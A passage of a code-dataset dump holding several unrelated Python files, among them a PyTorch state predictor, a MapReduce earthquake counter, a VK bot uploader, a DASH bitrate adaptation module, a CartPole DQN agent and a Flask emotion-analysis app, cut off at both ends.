np.concatenate((state3[i:301-step+i,:],force3[i:300-step+1 +i,:]),axis = 1)\n input3 = np.concatenate((input3,input_cur),axis= 1)\n\nforce4 = np.loadtxt('2.0_1.5_input_10%').reshape(300,1)\nstate4 = np.loadtxt('2.0_1.5_state_10%').reshape(301,2)\ninput4 = np.concatenate((state4[:301 -step, :],force4[:300 - step + 1, :]),axis = 1)\nfor i in range (1,step):\n input_cur = np.concatenate((state4[i:301-step+i,:],force4[i:300-step+1 +i,:]),axis = 1)\n input4 = np.concatenate((input4,input_cur),axis= 1)\n#\ntrain_input = np.concatenate((input1,input2,input3,input4), axis=0)\ntrain_output = np.concatenate((state1[step:,:],state2[step:,:],state3[step:,:],state4[step:,:]), axis=0)\ntrain_input = torch.Tensor(train_input)\ntrain_output = torch.Tensor(train_output)\n# print(train_input.shape,train_output.shape)\n#\nforceV = np.loadtxt('1.0_0.0_input_10%').reshape(300,1)\nstateV = np.loadtxt('1.0_0.0_state_10%').reshape(301,2)\ninputV = np.concatenate((stateV[:301 -step, :],forceV[:300 - step + 1, :]),axis = 1)\nfor i in range (1,step):\n input_cur = np.concatenate((stateV[i:301-step+i,:],forceV[i:300-step+1 +i,:]),axis = 1)\n inputV = np.concatenate((inputV,input_cur),axis= 1)\n\noutputV = stateV[step:,]\nval_input = torch.Tensor(inputV)\nval_output = torch.Tensor(outputV)\n# print(val_output.shape,val_input.shape)\n#\nmodel = nn.Sequential(nn.Linear(3*step,20),\n nn.ReLU(),\n nn.Linear(20,2),\n )\n#\nfor m in model.modules():\n if isinstance(m,(nn.Linear)):\n nn.init.kaiming_uniform_(m.weight)\n\n# model = torch.load(\"model_2step_10%\")\n\ncriterion = nn.MSELoss()\noptimizer = torch.optim.Adam(model.parameters(),lr=0.002)\n#\ndef train(epochs):\n train_loss = []\n val_loss = []\n min_loss = 1e6\n for epoch in range(epochs):\n model.train()\n output = model(train_input)\n loss = criterion(output,train_output)\n optimizer.zero_grad()\n loss.backward()\n optimizer.step()\n optimizer.zero_grad()\n\n model.eval()\n output_val = model(val_input)\n loss_dev = criterion(output_val,val_output)\n if loss < min_loss:\n min_loss = loss\n torch.save(model, \"model2\")\n if epoch % 200 == 0:\n train_loss.append(loss.tolist())\n val_loss.append(loss_dev.tolist())\n print(f\"epoch:{epoch},train_loss:{loss},val_loss:{loss_dev}\")\n return train_loss,val_loss\n\n# train_loss,val_loss = train(2001)\n# torch.save(model, \"model_3step_10%\")\n\ntestName = '2.0_1.0_'\n# testName = '0.5_0.5_'\n# testName = '0.0_1.5_'\n# testName = '0.0_1.0_'\n\ntest_input = torch.Tensor(np.loadtxt(testName+'state')[:100,:].reshape(100,2))\ntest_force = torch.Tensor(np.loadtxt(testName+'input')[:150].reshape(150,1))\ntest_result = np.loadtxt(testName+'state')[100:150,:].reshape(50,2)\n\ndef evaluate(input,force,length,step):\n sequence = torch.cat((input,force[:100]),dim=1)\n for i in range (length):\n one_input = sequence[-step:,].reshape(step * 3)\n model.eval()\n one_result = model(one_input)\n one_result = one_result.reshape(1,2)\n one_result = torch.cat((one_result,force[100+i,].reshape(1,1)),dim = 1)\n sequence = torch.cat((sequence,one_result),dim=0)\n return sequence[-length:,:2]\n\npredict_result = evaluate(test_input,test_force,50,step)\npredict_result = predict_result.detach().numpy()\n\nfig,axes = plt.subplots(2,1)\nax1=axes[0]\nax2=axes[1]\n\nax1.plot(test_result[:,0],label = \"real\")\nax1.plot(predict_result[:,0],label = \"predict\")\nax1.legend()\n\nax2.plot(test_result[:,1],label = \"real\")\nax2.plot(predict_result[:,1],label = \"predict\")\nax2.legend()\n\nplt.show()\n\nprint(np.mean(np.square(test_result[:,0]-predict_result[:,0])))\nprint(np.mean(np.square(test_result[:,1]-predict_result[:,1])))","sub_path":"ShortTimePrediction/noise_10%/SFNN_10%.py","file_name":"SFNN_10%.py","file_ext":"py","file_size_in_byte":5127,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"225346373","text":"# -*- coding: utf-8 -*-\n\nfrom mrjob.job import MRJob\nfrom mrjob.step import MRStep\n\nclass AvereigeSeismeYear(MRJob):\n def steps(self):\n return [\n MRStep(mapper=self.mapper_1,\n reducer=self.reducer_1),\n MRStep(mapper=self.mapper_2,\n reducer=self.reducer_fin)\n ]\n\n def mapper_1(self, _, line):\n (ID, FLAG_TSU, YEAR, MONTH, DAY, HOUR, MINUTE, FOCAL_DEPTH, MAGNITUDE, COUNTRY, LOCATION, LAT, LONG, REGION_CODE) = line.split(',')\n yield YEAR, 1\n \n def reducer_1(self, key, value):\n yield key, sum(value)\n \n def mapper_2(self, key, value):\n yield None, float(value)\n \n def reducer_fin(self, key, value):\n count=0\n total=0\n for i in value:\n total+=i\n count+=1\n yield \"Total seisme enregistre : \", total\n yield \"La periode pris en consideration en annee : \", count\n yield \"Seisme moyene par annee : \", '%02d'%int(total/count)\n\n \nif __name__ == '__main__':\n AvereigeSeismeYear.run()\n","sub_path":"Codes/Q1_avereigeSeismeYear_MapReduce.py","file_name":"Q1_avereigeSeismeYear_MapReduce.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"135124005","text":"import os\nimport pandas as pd\nimport numpy as np\nfrom tqdm import tqdm\nfrom root_numpy import root2array\nimport h5py\nimport glob2\n\n\ndef merge_sub_files():\n out_dir = \"data/merged_files/\"\n types = glob2.glob(\"data/madgraph_files/*/*\") \n for type in types:\n print(\"Exporting data of type: \" + type)\n df = pd.DataFrame({}) \n files = glob2.glob(\"%s/**/*.root\" %type)\n for file in tqdm(files):\n try:\n dfi = pd.DataFrame(\n root2array(\n file,\n \"Delphes\",\n branches=['Tower.ET', 'Tower.Eta', 'Tower.Phi'],\n )\n )\n if \"sig\" in file:\n y = pd.DataFrame({\"target\": np.ones(len(dfi), dtype=int)})\n elif \"bkg\" in file:\n y = pd.DataFrame({\"target\": np.zeros(len(dfi), dtype=int)})\n except:\n pass\n df = pd.concat([df, dfi.join(y)])\n df.to_pickle(\"%s/%s.pkl\" % (out_dir,type.split(\"/\")[-1]))\n","sub_path":"jet_data_processing/tools/merge_sub_files.py","file_name":"merge_sub_files.py","file_ext":"py","file_size_in_byte":1073,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"383779834","text":"def combinations(list):\n \"\"\" Returns a list of all combination of input list \"\"\"\n r = [[]]\n for x in list:\n r = [ i + [y] for y in x for i in r ]\n #print \">>>> r = \",r\n return r\ndef getParamCombinations(rawParamList):\n ''' Returns a list of lists, in which each item in the list is a unique\n combination of parameter values. The list represents all possible\n combinations of the parameter values. A sub-item in a list may be\n a list itself, representing a \"section\" which is iterated over within\n that test.\n rawParamList : a list of lists, in which each primary item in the\n list represents the values for one parameter that\n will be iterated.\n Example: rawParamList = [[2412, 2417, 2422], ['OFDM_6', 'OFDM_12'],\n ['TX_VERIFY_EVM', 'TX_VERIFY_MASK', 'RX_VERIFY_PER' ], ['15.2', '14.7'],\n ['(0,1,0,0)', '(1,0,0,0)']]\n Output: [2412, 'OFDM_6', 'TX_VERIFY_EVM', '15.2', '(0,1,0,0)']\n [2412, 'OFDM_6', 'TX_VERIFY_EVM', '15.2', '(1,0,0,0)']\n [2412, 'OFDM_6', 'TX_VERIFY_EVM', '14.7', '(0,1,0,0)']\n [2412, 'OFDM_6', 'TX_VERIFY_EVM', '14.7', '(1,0,0,0)']\n [2412, 'OFDM_6', 'TX_VERIFY_MASK', '15.2', '(0,1,0,0)']\n ....\n '''\n plist = rawParamList\n # We reverse the list, because combinations() will iterate starting\n # from the last item, and we want to preserve the user's intended\n # iteration order as specified from left to right (first to last).\n # However this reverses the order of the parameters, so after running\n # combinations() we reverse each item in the combos list to get the\n # original parameter order back.\n # I wonder if combinations() could be changed so that this reversing\n # is not necessary. I have not spent time looking into that.\n plist.reverse()\n # call the raw combination generator\n combos = combinations(plist)\n print (type(combos))\n # we don't sort anymore because reversing works better\n #combos.sort()\n for tlist in combos:\n tlist.reverse()\n return combos\n\ndef main():\n rawParamList = [[2412, 2417, 2422], ['OFDM_6', 'OFDM_12'],\n ['TX_VERIFY_EVM', 'TX_VERIFY_MASK', 'RX_VERIFY_PER' ], ['15.2', '14.7'],\n ['(0,1,0,0)', '(1,0,0,0)']]\n combos = getParamCombinations(rawParamList)\n print (combos)\n d = {1:'a',2:'b'}\n copied = d.copy()\n d[1]='z'\n copied[2]=\"H\"\n print (d)\n print (copied)\n #shallow copy vs deep copy\n xs = [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n sh_copy_xs = list(xs)\n xs.append(['new element']) #[[1, 2, 3], [4, 5, 6], [7, 8, 9], ['new element']]\n #sh_copy_xs: [[1, 2, 3], [4, 5, 6], [7, 8, 9]]\n xs[1][0] = 'X'#[[1, 2, 3], ['X', 5, 6], [7, 8, 9], ['new element']]\n #sh_copy_xs: [[1, 2, 3], ['X', 5, 6], [7, 8, 9]]\n print (xs) #[[1, 2, 3], ['YY', 5, 6], [7, 8, 9], ['new element']]\n print (sh_copy_xs)#[[1, 2, 3], ['YY', 5, 6], [7, 8, 9]]\n sh_copy_xs.append(\"new copy\")\n #sh_copy_xs: [[1, 2, 3], ['X', 5, 6], [7, 8, 9], 'new copy']\n #xs: [[1, 2, 3], ['X', 5, 6], [7, 8, 9], ['new element']]\n import copy\n ys = copy.copy(xs) #shallow copy\n deepYs = copy.deepcopy(xs) #deep copy\n\nif __name__ == \"__main__\":\n main()","sub_path":"Py_op/Log_parser/FlowGen/test_combine.py","file_name":"test_combine.py","file_ext":"py","file_size_in_byte":3337,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"149690123","text":"import click\nimport os\nfrom .utils.ParseLog import LogParser\n\nCONTEXT_SETTINGS = dict(help_option_names=['-h', '--help'])\n\n\n@click.command(context_settings=CONTEXT_SETTINGS)\n@click.argument('filename')\n@click.option('-t', '--type', 'file_type', help=\"output file's type\")\n@click.option('-o', '--output', 'path', help=\"output's path\")\ndef cli(filename, file_type=None, path=None):\n \"\"\"\n mytools is a cli tool to convert nginx's error log to JSON and TXT file.\n\n Basic Usage : \n\\n\n $ mytools /var/log/nginx/error.log -t json\n\\n\n or\n\\n\n $ mytools /var/log/nginx/error.log -t text\n\\n\n or\n\\n\n $ mytools /var/log/nginx/error.log -t json -o /var/log/nginx/error.json\n\\n\n This command will generate text file as a default if -t or --type is not provided.\n \"\"\"\n if path is None:\n path = ''\n Parser = LogParser(filename)\n Parser.save(file_type=file_type, output_path=path)\n","sub_path":"parse_log/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"96939174","text":"import vk,settings,requests\n\nsession_group = vk.Session()\napi_group = vk.API(session_group, v=5.0)\n\nsession_profile = vk.Session(access_token='settings.profile_token')\napi_profile = vk.API(session_profile)\n\t\ndef load_attachment_to_vk(album_id,group_id):\n\tdata=api_profile.photos.getUploadServer(album_id = album_id, group_id = group_id)\n\tDATA_UPLOAD_URL = data['upload_url']\n\tr = requests.post(DATA_UPLOAD_URL, files={'photo': open('output/image-out.jpg',\"rb\")})\n\tr.status_code == requests.codes.ok\n\tparams = {'server': r.json()['server'], 'photos_list': r.json()['photos_list'], 'hash': r.json()['hash'],'group_id':group_id,'album_id':album_id}\n\ttest_photo_attachment = api_profile.photos.save(**params)\n\ttest_photo_attachment=test_photo_attachment[0]['id']\n\tphoto_attachment = 'photo-{}_{}'.format(group_id,test_photo_attachment[15:])\n\treturn photo_attachment\n\ndef send_message(user_id, token, message, attachment=\"\"):\n api_group.messages.send(user_id=str(user_id), access_token=token, message=message, attachment=attachment)","sub_path":"bot_translator/vkapi.py","file_name":"vkapi.py","file_ext":"py","file_size_in_byte":1030,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"231012413","text":"__author__ = 'pjuluri'\n\nimport config_dash\nimport random\nimport time\n\n\ndef bandwidth_dash(bitrates, dash_player, weighted_dwn_rate, curr_bitrate, next_segment_sizes):\n \"\"\"\n Module to predict the next_bitrate using the weighted_dash algorithm\n :param bitrates: List of bitrates\n :param weighted_dwn_rate:\n :param curr_bitrate:\n :param next_segment_sizes: A dict mapping bitrate: size of next segment\n :return: next_bitrate, delay\n \"\"\"\n\n bitrates = [int(i) for i in bitrates]\n bitrates.sort()\n\n past_switch_count = 0\n for i in config_dash.past_switches:\n if i:\n past_switch_count += 1\n\n # Waiting time before downloading the next segment\n delay = 0\n\n alph = 5\n\n next_bitrate = None\n available_video_segments = dash_player.buffer.qsize() - dash_player.initial_buffer\n # If the buffer is less that the Initial buffer, playback remains at th lowest bitrate\n # i.e dash_buffer.current_buffer < dash_buffer.initial_buffer\n\n available_video_duration = available_video_segments * dash_player.segment_duration\n config_dash.LOG.info(\" !!!!!!!!!!!!!Buffer_length = {} Initial Buffer = {} Available video = {} seconds, alpha = {}. \"\n \"Beta = {} WDR = {}, curr Rate = {}\".format(dash_player.buffer.qsize(),\n dash_player.initial_buffer,\n available_video_duration, dash_player.alpha,\n dash_player.beta, weighted_dwn_rate,\n curr_bitrate))\n\n if weighted_dwn_rate == 0 or available_video_segments == 0:\n next_bitrate = bitrates[0]\n # If time to download the next segment with current bitrate is longer than current - initial,\n # switch to a lower suitable bitrate\n\n #FIND THE BITRATE THAT IS JUST BELOW THE DOWNLOAD RATE\n #next_bitrate = bitrates[0]\n for i in bitrates:\n if (i > weighted_dwn_rate):\n break;\n next_bitrate = i;\n\n\n if next_bitrate != curr_bitrate:\n\n curr_bitrate_score = (get_score_eff(next_bitrate, curr_bitrate, weighted_dwn_rate, alph)\n + get_score_stability(curr_bitrate, curr_bitrate, past_switch_count))\n next_bitrate_score = (get_score_eff(next_bitrate, next_bitrate, weighted_dwn_rate, alph)\n + get_score_stability(curr_bitrate, next_bitrate, past_switch_count))\n\n if (curr_bitrate_score < next_bitrate_score):\n next_bitrate = curr_bitrate\n\n config_dash.LOG.info(\" !!!!!!Current bitrate score {} : {} Next bitrate score {} : {}\".format(\n curr_bitrate, curr_bitrate_score,\n next_bitrate, next_bitrate_score))\n\n rand_buf = random.randint(config_dash.NETFLIX_INITIAL_BUFFER - 1,\n config_dash.NETFLIX_INITIAL_BUFFER + 1)\n\n if available_video_segments < rand_buf:\n delay = 0\n else:\n delay = available_video_segments - rand_buf\n\n config_dash.LOG.debug(\"The next_bitrate is assigned as {}\".format(next_bitrate))\n config_dash.LOG.info(\"Delay:{}\".format(delay))\n\n if next_bitrate != curr_bitrate:\n temp_time = int(time.time())\n start = 0\n end = config_dash.BANDWIDTH_SAMPLE_COUNT - 1\n if temp_time - config_dash.last_switch < config_dash.BANDWIDTH_SAMPLE_COUNT:\n start = (config_dash.last_switch + 1) % config_dash.BANDWIDTH_SAMPLE_COUNT\n end = (temp_time - 1) % config_dash.BANDWIDTH_SAMPLE_COUNT\n\n if start < end:\n for i in range(start, end - 1):\n config_dash.past_switches[i] = False\n else:\n for i in range(start, config_dash.BANDWIDTH_SAMPLE_COUNT - 1):\n config_dash.past_switches[i] = False\n for i in range(0, end - 1):\n config_dash.past_switches[i] = False\n\n config_dash.past_switches[temp_time % 20] = True\n config_dash.last_switch = temp_time\n\n return next_bitrate, delay\n\ndef get_score_eff(next_bitrate, bitrate, est_band, alph):\n return 5 * abs(float(bitrate) / min(est_band, next_bitrate) - 1)\n\n\n#CHANGE PAS_REBUFFER TO PAST_QUALITY SWITCHES\ndef get_score_stability(curr_bitrate, bitrate, past_switch_count):\n if curr_bitrate == bitrate:\n return 2**past_switch_count\n return 2**past_switch_count + 1\n\n","sub_path":"client/adaptation/bandwidth_dash.py","file_name":"bandwidth_dash.py","file_ext":"py","file_size_in_byte":4574,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"629282456","text":"import logging\nfrom typing import Any, Optional\nfrom django.db import transaction\nfrom django.core.management.base import BaseCommand, CommandParser\nfrom respa_o365.calendar_sync import add_to_queue, ensure_notification, process_queue\nfrom respa_o365.models import OutlookCalendarLink\n\nlogger = logging.getLogger(__name__)\n\nclass Command(BaseCommand):\n 'Syncs reservations and opening hours with linked Outlook calendars'\n def add_arguments(self, parser: CommandParser) -> None:\n parser.add_argument('--resource', help='Only sync the specified resource')\n\n def handle(self, *args: Any, **options: Any) -> Optional[str]:\n\n resource_id = options['resource']\n\n with transaction.atomic():\n if resource_id is not None:\n calendar_links = OutlookCalendarLink.objects.filter(resource_id=resource_id)\n else:\n calendar_links = OutlookCalendarLink.objects.all()\n\n for link in calendar_links:\n logger.info(\"Synchronising O365 events for resource %s\", link.resource_id)\n add_to_queue(link)\n ensure_notification(link)\n\n process_queue()\n","sub_path":"respa_o365/management/commands/sync_outlook.py","file_name":"sync_outlook.py","file_ext":"py","file_size_in_byte":1167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"323116779","text":"import sys\nsys.stdin = open(\"input_sort.txt\", \"r\")\n\ndef sort(n, l):\n for i in range(0, n-1):\n min = i\n for j in range(i+1, n):\n if l[min] > l[j]:\n min = j\n l[i], l[min] = l[min], l[i]\n\n sorted = [0 for _ in range(10)]\n for k in range(5):\n sorted[k*2] = l[-1-k]\n sorted[k*2+1] = l[k]\n return ' '.join([str(n) for n in sorted])\n\nT = int(input())\nfor t in range(T):\n n= int(input())\n l = list(map(int, input().split()))\n print(\"#%d %s\" % (t+1, sort(n, l)))","sub_path":"01_class/4843_sort.py","file_name":"4843_sort.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"127327077","text":"# To add a new cell, type '# %%'\n# To add a new markdown cell, type '# %% [markdown]'\n# %%\nimport random\nimport gym\nimport numpy as np\nimport timeit\nimport matplotlib.pyplot as plt\nimport os\nimport subprocess\n\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport torch.optim as optim\n\nimport torchvision\nimport torchvision.transforms as transforms\n\nimport torchsummary\nfrom torchsummary import summary\nfrom collections import deque\n\ntorch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\nMAX_STEP_SCORE = 500\nPLAY_EVERY_X_EPISODES = 100\nTEST_EPISODES_N = 10\n\ndef play(env, g):\n state = env.reset()\n step = 0\n done = False\n while done is not True:\n env.render()\n step += 1\n action = g.act(state)\n next_state, reward, done, info = env.step(action)\n state = next_state\n if done:\n print('step = {}, reward = {}'.format(step, reward))\n return step\n\nclass Qnet(nn.Module):\n def __init__(self, state_size, action_size):\n super(Qnet, self).__init__()\n self.fc1 = nn.Linear(state_size, 32)\n self.fc2 = nn.Linear(32, 32)\n self.fc3 = nn.Linear(32, action_size)\n \n def forward(self, x):\n x = F.relu(self.fc1(x))\n x = F.relu(self.fc2(x))\n out = self.fc3(x)\n return out\n\nclass agent(object):\n def __init__(self, state_size, action_size):\n self.state_size = state_size\n self.action_size = action_size\n \n self.memories = deque(maxlen = 1024)\n\n self.batch_size = 32 # for speed up\n self.gamma = 0.99\n self.model_online = Qnet(state_size, action_size)\n\n print(self.model_online)\n summary(self.model_online, (state_size, ))\n\n self.optimizer_online = optim.Adam(self.model_online.parameters(), lr=0.0001)\n\n def store(self, state_torch, action, reward, next_state_torch, done):\n terminal = 1\n if done:\n terminal = 0\n\n transition = [state_torch, action, reward, next_state_torch, terminal]\n self.memories.append(transition)\n\n def train(self):\n if(len(self.memories) < self.batch_size):\n return\n\n batch_data = random.sample(self.memories, self.batch_size)\n state_torch = [data[0] for data in batch_data]\n action = [data[1] for data in batch_data]\n reward = [data[2] for data in batch_data]\n next_state_torch = [data[3] for data in batch_data]\n terminal = [data[4] for data in batch_data]\n\n batch_state_torch = torch.cat(state_torch)\n batch_next_state_torch = torch.cat(next_state_torch)\n batch_action = torch.tensor(action)\n reward_torch = torch.tensor(reward)\n terminal_torch = torch.tensor(terminal)\n\n self.model_online.eval()\n result = self.model_online(batch_state_torch)\n state_action_torch = torch.gather(result, 1, batch_action.unsqueeze(1))\n next_state_action_torch = self.model_online(batch_next_state_torch)\n next_state_action_torch = torch.max(next_state_action_torch, 1)[0].detach()\n\n Y = (reward_torch + (self.gamma * next_state_action_torch * terminal_torch)).float()\n\n self.model_online.train()\n loss = F.mse_loss(state_action_torch, Y.unsqueeze(1)) / self.batch_size\n self.optimizer_online.zero_grad()\n loss.backward()\n self.optimizer_online.step()\n\n\n def act(self, state):\n state_torch = torch.from_numpy(state).type(torch.FloatTensor).unsqueeze(0)\n self.model_online.eval()\n Qfunc_s_a = self.model_online(state_torch)\n action = Qfunc_s_a.data.max(1)[1].item()\n return action\n\n def act_epsilon(self, state_torch, epsilon):\n \n self.model_online.eval()\n Qfunc_s_a = self.model_online(state_torch)\n\n if random.random() < epsilon:\n action = np.random.choice(range(self.action_size))\n else:\n action = Qfunc_s_a.data.max(1)[1].item()\n return action\n\n\noutput = subprocess.check_output(\"date +%y%m%d_%H%M%S\", shell=True)\noutput = output.decode('utf-8').replace('\\n','')\nresult_filename = \"score_result_dqn_\" + output + \".csv\"\nresult_file = open(result_filename, mode='w')\n\nenv = gym.make('CartPole-v1')\n\nstate = env.reset()\nscore = 0\ntotal_score = 0\nepisode = 0\nstate_size = len(state)\naction_size = env.action_space.n\n\ng = agent(state_size, action_size)\nstart_time = timeit.default_timer()\nresult_file.write(\"episode,score,total_score,eval_score\\n\")\nepsilon = 0.5\n\nwhile episode <= 3000: # episode loop\n episode = episode + 1\n state = env.reset()\n score = 0\n done = False\n \n while not done:\n state_torch = torch.from_numpy(state).type(torch.FloatTensor).unsqueeze(0)\n action = g.act_epsilon(state_torch, epsilon * (0.998**episode))\n \n next_state, reward, done, info = env.step(action)\n next_state_torch = torch.from_numpy(next_state).type(torch.FloatTensor).unsqueeze(0)\n\n g.store(state_torch, action, reward, next_state_torch, done)\n g.train()\n\n state = next_state\n\n score = score + reward\n total_score = total_score + reward\n\n eval_score = ((total_score + 554120) / 483370) * 100.\n result_file.write('{},{:.2f},{:.2f},{:.2f}\\n'.format(episode, score, total_score, eval_score))\n\n if episode % PLAY_EVERY_X_EPISODES == 0:\n print('Episode: {} Score: {:.2f} Total score: {:.2f} Eval score : {:.2f}'.format(episode, score, total_score, eval_score))\n print('100 Episode time : {:.2f}s'.format((timeit.default_timer() - start_time)))\n start_time = timeit.default_timer()\n step = play(env, g)\n if step >= MAX_STEP_SCORE:\n break\n\n\n\n# TEST \n# RECORD THE LAST TEST \nmonitor_env = gym.wrappers.Monitor(env, \"./recording/dqn\",video_callable=lambda episode: (episode == TEST_EPISODES_N - 1), force=True)\nepisode = 0\nstate = monitor_env.reset()\nstep = 0\nwhile episode < TEST_EPISODES_N: # episode loop\n play(monitor_env, g)\n episode += 1\nenv.close()\nmonitor_env.close()\nresult_file.close()","sub_path":"old/cartpole_dqn.py","file_name":"cartpole_dqn.py","file_ext":"py","file_size_in_byte":6077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"224096876","text":"import os,unittest\nfrom igf_data.utils.fileutils import get_temp_dir,remove_dir\nfrom igf_data.utils.singularity_run_wrapper import singularity_run\n\nclass Singularity_run_test1(unittest.TestCase):\n def setUp(self):\n self.temp_dir = get_temp_dir()\n self.image_path = os.path.join(self.temp_dir,'image.sif')\n with open(self.image_path,'w') as fp:\n fp.write('a')\n\n def tearDown(self):\n remove_dir(self.temp_dir)\n\n def test_singularity_run(self):\n _,singularity_cmd = \\\n singularity_run(\n image_path=self.image_path,\n path_bind=self.temp_dir,\n args_list=['ls','-l','/home/vmuser'],\n dry_run=True)\n self.assertTrue('{0} --bind {1}:/tmp ls -l /home/vmuser'.\\\n format(os.path.basename(self.image_path),self.temp_dir) \\\n in singularity_cmd)\n\nif __name__=='__main__':\n unittest.main()","sub_path":"test/utils/singularity_run_wrapper_test.py","file_name":"singularity_run_wrapper_test.py","file_ext":"py","file_size_in_byte":878,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"601090817","text":"###############\n# Loading Dependencies\n# Libraries & Pickle files\n################\n\nfrom flask import Flask, render_template, jsonify, request\nfrom wtforms import Form, TextAreaField, validators #for the text input forms\n\n#libraries to import for the model \n#vader, textblob, spacy, logreg, pickle nltk, countvect, pandas, numpy, matplotlib\nimport numpy as np\nimport pandas as pd\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.feature_extraction.text import CountVectorizer, TfidfVectorizer\nimport pickle \nfrom vaderSentiment.vaderSentiment import SentimentIntensityAnalyzer\nimport nltk \nfrom textblob import TextBlob\nimport matplotlib.pyplot as plt\n\nvader = SentimentIntensityAnalyzer()\n\n#import libraries for clean text function \nfrom bs4 import BeautifulSoup \nimport regex as re\nfrom nltk.corpus import stopwords \nfrom nltk.stem import WordNetLemmatizer\n\n# Instantiate lemmatizer \nlemmatizer = WordNetLemmatizer()\n\n#########################\n#Loading the Pickle files\n#########################\n\n#prediction model\nlr_baseline_model = pickle.load(open(\"./static/pickle-files/lr_baseline_model\",\"rb\"))\n\n#fitted and transformed count vectorizer\ncvec = pickle.load(open(\"./static/pickle-files/cvec\",\"rb\"))\n\n#text cleaning function\n#clean_text = pickle.load(open(\"./static/pickle-files/clean_text\",\"rb\"))\n\n\n###########\n#FLASK\n###########\n\napp = Flask(__name__)\n\nclass ReviewForm(Form):\n moviereview = TextAreaField('',\n [validators.DataRequired(), validators.length(min=15)])\n\n@app.route('/')\ndef index():\n form = ReviewForm(request.form)\n return render_template('reviewform.html', form=form)\n\n@app.route('/results', methods=['POST'])\ndef results():\n form = ReviewForm(request.form)\n if request.method == 'POST' and form.validate():\n review = request.form['moviereview']\n emotions = emo_machine(review)[0]\n\n return render_template('results.html', \n content=review,\n tables=[emotions.to_html()], titles = ['emotional breakdown'],\n score= emo_machine(review)[1])\n\n return render_template('reviewform.html', form=form)\n\n\n###################\n#Generating Charts\n###################\nimport io\n#import random\nfrom flask import Response\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nfrom matplotlib.figure import Figure\n\n#Emotion pie chart \n@app.route('/emo_pie.png')\ndef plot_png():\n fig = create_figure()\n output = io.BytesIO()\n FigureCanvas(fig).print_png(output)\n return Response(output.getvalue(), mimetype='image/png')\n\ndef create_figure():\n fig = Figure()\n axis = fig.add_subplot(1, 1, 1)\n global emo_perc\n axis.pie(emo_perc, labels =emo_perc.index, autopct='%1.1f%%')\n return fig\n\n\n#Vader Sentiment line graph\n@app.route('/vader_graph.png')\ndef plot2_png():\n fig2 = create2_figure()\n output2 = io.BytesIO()\n FigureCanvas(fig2).print_png(output2)\n return Response(output2.getvalue(), mimetype='image2/png')\n\ndef create2_figure(): \n fig2 = Figure()\n axis2 = fig2.add_subplot(1, 1, 1)\n global vader_scores\n xs = range(len(vader_scores))\n ys = vader_scores\n axis2.plot(xs, ys)\n return fig2\n\n###################\n\n\n##########\n# MODEL\n##########\n\ndef emo_machine(text_string_input): \n\n #defining this is as a global variable \n global vader_scores\n\n #instantiating a dataframe to which we will add columns of data\n emo_summary = pd.DataFrame()\n\n #a list to store vader scores for each sentence from the input\n vader_scores = []\n\n #list to add textblob noun-phrases\n bnp = []\n\n #list to add textblob POS tags\n b_pos_tags = []\n pos_subset = ['JJ','JJR','JJS','MD'] \n #pre-define which POS tags you would like to select for; in this case, only adjectives & Verbs \n \n def clean_text(raw_post):\n #1. Remove HTML.\n review_text = BeautifulSoup(raw_post).get_text()\n \n # 2. Remove non-letters.\n letters_only = re.sub(\"[^a-zA-Z]\", \" \", review_text)\n \n #3. Convert to lower case, split into individual words.\n words = letters_only.lower().split()\n # Notice that we did this in one line!\n \n # 4. In Python, searching a set is much faster than searching\n # a list, so convert the stop words to a set.\n stops = set(stopwords.words('english'))\n \n # 5. Remove stop words.\n meaningful_words = [w for w in words if not w in stops]\n \n # 6. Lematize \n lem_meaningful_words = [lemmatizer.lemmatize(i) for i in meaningful_words]\n \n # 7. Join the words back into one string separated by space, \n # and return the result.\n return(\" \".join(lem_meaningful_words))\n\n # Initialize an empty list to hold the clean sent tokens.\n clean_text_input_sent = []\n \n #tokenizing the input into indiv. sentences\n #uncleaned text input for vader scoring (because it scores better on uncleaned text)\n text_input_sent = nltk.tokenize.sent_tokenize(text_string_input)\n \n #sent tokenizing the cleaned text input for modelling and textblob extractions\n for i in text_input_sent:\n \n # Clean each sent token, then append to clean_text_input_sent.\n clean_text_input_sent.append(clean_text(i))\n\n #Vectorizing the list of indiv. cleaned sentences for model prediction \n X_input_cvec = cvec.transform(clean_text_input_sent).todense() \n \n #predicting for emotions based on the trained model \n predictions = lr_baseline_model.predict(X_input_cvec) \n \n #adding vader scores for indiv sentences\n for sent in text_input_sent:\n vader_scores.append(vader.polarity_scores(sent)['compound']) #i am only appending the compound scores here\n\n #adding textblob noun-phrases and pos_tags\n for sent in clean_text_input_sent: \n blob = TextBlob(sent)\n bnp.append(blob.noun_phrases) \n\n sent_pos_tags = [] #creating indiv. lists to collect pos_tags for each indiv. sentence \n for i in blob.pos_tags:\n if i[1] in pos_subset: #note that for strings, the command is 'in' and not '.isin()' as with series or lists\n sent_pos_tags.append(i[0])\n else:\n pass\n b_pos_tags.append(sent_pos_tags)\n\n #adding columns to the dataframe\n emo_summary['emotions'] = predictions\n emo_summary['sentences'] = clean_text_input_sent\n emo_summary['sentiment'] = vader_scores\n emo_summary['key phrases'] = bnp\n emo_summary['key words'] = b_pos_tags\n\n #Only after constructing the emo_summary 